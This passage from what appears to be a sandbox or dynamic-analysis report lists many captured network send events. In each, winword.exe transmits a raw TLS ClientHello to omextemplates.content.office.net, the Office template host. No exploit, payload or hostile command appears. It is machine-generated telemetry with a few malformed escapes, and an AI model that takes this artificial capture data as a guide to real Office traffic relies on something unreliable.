  286. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\xebhp\\xb9_\\xd8\\xf3\\x01\\x18t\\x8a}3\\xdd^\\xe9\\xbd k{2f\\x14t$x\\xf1\\x0c\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  287. },
  288. {
  289. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\xb8\\xcf\\xbb\\xf9\\x97cpp\\x13+d\\xe0\\xad\\xe2&w+u5-g\\xa3\\x1b+\\xaa\\xe7s\\xc2\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  290. },
  291. {
  292. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\xdd\\x99^\\xe6\\xa4d}y\\x17\\xd1o\\x9e\\x8du\\xc7n\\bg\\x86\\xbf\\xceg3\\xab5\\xbf-\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  293. },
  294. {
  295. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\xbag\\x98\\xc0\\x89\\x98\\x11\\xf2\\x1a#\\x00\\xff\"\\xb2[\\x1c\\xa9\\xd8\\xd4m\\xdb\\xf9\\xf5\\xc6\\x1f\\xf2\\xd4z\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  296. },
  297. {
  298. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcfi\\xf8\\xa7l\\xedi\\xb9\\x98*\\xbb\\xdd\\xa8\\x01geg\\xbe67+f,\\xee\\xf3\\xe3\\xba\\xcf\\x8e\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  299. },
  300. {
  301. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\xd0\\x1f\\xdd\\x82zn\\xb5\\\\x88\\xa1\\xdc[p@ta\\xac\\xbd=\\x95xh\\x13\\xe1\\xf7-\\xd8\\x91\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  302. },
  303. {
  304. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcfa\\x90\\x89\\xfc\\xc5hg\\xa8\\xa5=/\\x8a=\\xef\\x03\\xa7\\x9dq(x\\xfbf\\xf9\\xd0\\xa1,g\\xbd\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  305. },
  306. {
  307. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcfj\\xde\\x81\\xed\\xf5\\x98\\x9a|\\xd2\\xc7\\xcbk\\x07\\x0fa\\x19\\xec\\xcbm\\x88\\x10\\x90x\\xa0\\xce\\xf3\\xb5\\x0b\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  308. },
  309. {
  310. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf&*c\\xad|\\x9b\\xdfz0\\x03v\r%\\xdfvf\\x96\roywrb\\x82\t\\xd4\\x9e\\x86\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  311. },
  312. {
  313. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcfn\\xac^+\\xcb5\\x14y\\xef%7\\xd0n\\xb5f'\\x1f\\x18\\xfb\\xc0v\\x0c.\\xa1\\xca<\\xc8\\x84\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  314. },
  315. {
  316. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\xc2\\x94\\xa7\\x96\\xf2c\\xe4d\\xea`%n\\xdb\\x92a\\x9c2\\x84r,\\xd6\\x08\\xb9c\\x90\\xdf?\\xdf\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  317. },
  318. {
  319. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf1*zxr\\xc7-s\\xba\\x8a\\xe5\\xd0i\\xf7\\x0e\\x1bdi\\xae\\xfbyr\\x91n\\x03\\xb4\\x0c\\xd0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  320. },
  321. {
  322. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\xc03\\x88.\\xb3g\\xec\\x82h?\\x89\\xb2\\xf8:\\x07\\xde\\xe3p\\xb8\\xda\\xae +f\\xa2]\\x92\\xd3\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  323. },
  324. {
  325. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf$\r{=\\xfa\\xe2?\\xcd\\x99c\\x83\\xe3/y\\xf3m\\xc03\\xb8m\\xa5ky\\xb9tg\\xd5!\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  326. },
  327. {
  328. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\x7f\\xb7\\xbd^\\x87\\x89\\xb9\\xdfc\\x11\\xfbl\\x16\\x98\\xe5\\xb7\\xbf\\xb7o\\x14\\x17`\\x85\\x96\\xc4\\xcd-\\xcc\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  329. },
  330. {
  331. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcfdl\\xdc<w\\xca\\xb6\\xc11\\xc2/\\x1eo\\xd4\\xa8\\x10*\\xcc\n\\xc4\\xf2\\xe5\\x9c\\xfd\\xd83\\x82\\xa9\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  332. },
  333. {
  334. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\x1e4\\x01\\xad\\xfc\\xac\\xf9f\\x18\\xe9\\xa2\\xbd\\xc70x=\\x99\\x97'<y\\xb5ea3\\x06*k\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  335. },
  336. {
  337. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\x7f\\xf5\\xcdn\\x85\\x0f\\xa8\\xe4s;\\x80\\x9c\\xb4ae7~\\xaeg\\xc0\\xc7s\\xab\\x8ez\\xc5e\\xed\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  338. },
  339. {
  340. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\xb8w\\x14\\xcb\\xf7q.\\xb0\\x1at\\xec\\x98\\x92\\xd5n>\\xe7la\\x9f$\\xdc\\xba\\xaf\\xe7b4\\x17\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  341. },
  342. {
  343. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\"ll\\xbc\\xedz\\x076\\xb6\\xa75\\x8e\\x84\\x8d\\xabd(\"g\\x8do=\\x9d\\xbd\\xe0p\\x95\\xab\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  344. },
  345. {
  346. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\xf7b~&\\xa3w\\x04`\\xc3o\\x08\\xc9m\\xf77\\xc92\\xdb)\\x05.\\xc2\\xb30p\\xd6\\xd4\\xa0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  347. },
  348. {
  349. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\xdai\\x03=~\\x19\\xca\\xb81\\x1f\\x96|\\x88{\\xb3`\\xc3\\x1a]\\xf6\\x10\\xefh\nk\\xf0\\x16\\xb3\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  350. },
  351. {
  352. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcfy\\x1dp\\xc7\\x10\\xe0\\x98@\\x107\\xe8\\xe2e\\x15\\xc1\\xbbzk\\xf0\\xa4\\xda\\xf0\\xb7\\xd3\\xe5\\xe9\\x17d\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  353. },
  354. {
  355. "http_request": "winword.exe_WSASend_\n\\x02\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcfn\\xb7\\x99d\\xa4\\x90*\\xd9\\xe9<\\xe5\\x11\\xab&al\\xa0\\x0f\\xff&\\x11\\xb5\\xb8,\\xf3\\xc9\\xf0\\xe0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  356. },
  357. {
  358. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\x19x\\xc6ei\\x99j2\\x0c\\xea\\x85\\xaa\\xdb ]/\\x1c\\xb8\\xcc\\x91\\xcc\\x08#l`m\\xfa\\xe9\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  359. },
  360. {
  361. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\xd9\\xaaj+\\xfd9\\xe4\\x9d\\x87c\\xca\\xed\\xab\\x0b\\xc4k\\xa9\\x0e\\xcd\\xe7tn\\xe8\\xa5\\x1e\\xe1\\x9e3\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  362. },
  363. {
  364. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf,\\xa1bm\\xb9{\\xdc\\x86\\x1f\\xf4\\x97\\xee\\x05\\xd2\\xe8\\x1c\"-\\xa1\\x12t\\xb0zs\\xaad\\xf7\\xbc\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  365. },
  366. {
  367. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\x1e\\x99'+iu\\xd5\\xe4\\xa6\\x93p\\xbf\\xeef\\xa2\\x14\\x8b]\\x90`\\x18g\\xa4\\x01yz\\x11\\xec\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  368. },
  369. {
  370. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\x07\\xca\\xfa\\x0e\\xee\\xb4j\\x87\\xb0\\xac\t\\x93\\x86\\xbe}\\xde\\x8f\\x90vm\\x83\\xd6.\\xc7u\r\\xcc=\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  371. },
  372. {
  373. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf%\\xfb?\\xbd\\xd36\\xc7\\xea#\\x9d\\xb7!u\\x05\\xc6\\xe9\\xcf\\x88\nx\\xf6!\\x02\\x03\\x97[\\xfc\\xc5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  374. },
  375. {
  376. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf?\\xac\\x16fcj\\xa7\\xb1\\x1d\\xd3\\xd4?\\xfb\rbu\\xc3)\\x90#\\x85f@\\xf4'=\\x0e\\xe0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  377. },
  378. {
  379. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\x0c\\xb5\\x13\\xcc\\xc5\\x9b\\xbb\\xbe\\xb7\\x8a\r\\xa0\n\\xc5!cf\\x90\\xaa\\xd5\\xb1\\x02\\xcc\\xa6<p\\xb0 \\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  380. },
  381. {
  382. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\xafsc\\xb8\\x9c\\xa2\\xbf\\x9b\\xbc]y\\x0bf5\\\\xbaw\\xa1\\x8e\\x94\\xb2\\xe3s\\xfa\\xcb\\xd7\\x93\\xd8\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  383. },
  384. {
  385. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\xe2\\xcc\\xec\r\\x98\\xd9\\x05\\xb9\\x83\\x1c\\x07\\xd5\\xce\\x0e_\\xaa|~\\xad\\x19e^[\\x9e>\\xd8\\x00u\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  386. },
  387. {
  388. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcfr\\x05\\xbd>\\x9e\\x04w\\xb8\\xc0t\\xcc)\\xa1e\\x1d\\xe5\\xcd\\xad5\\xd3*a\\x0c\\x10\\u\\xe1\\xee\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  389. },
  390. {
  391. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\xec\\x85\\x13\\x1a:\\xf7\\xaf\\x8e\\xa0\\xf3\\x97\\xa8\\x92\\xb5m\\x9f\\x99\\xc5\"\\x8c\\xe8\\xd4n\\xc2k\\x93\\xd8\\x1a\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  392. },
  393. {
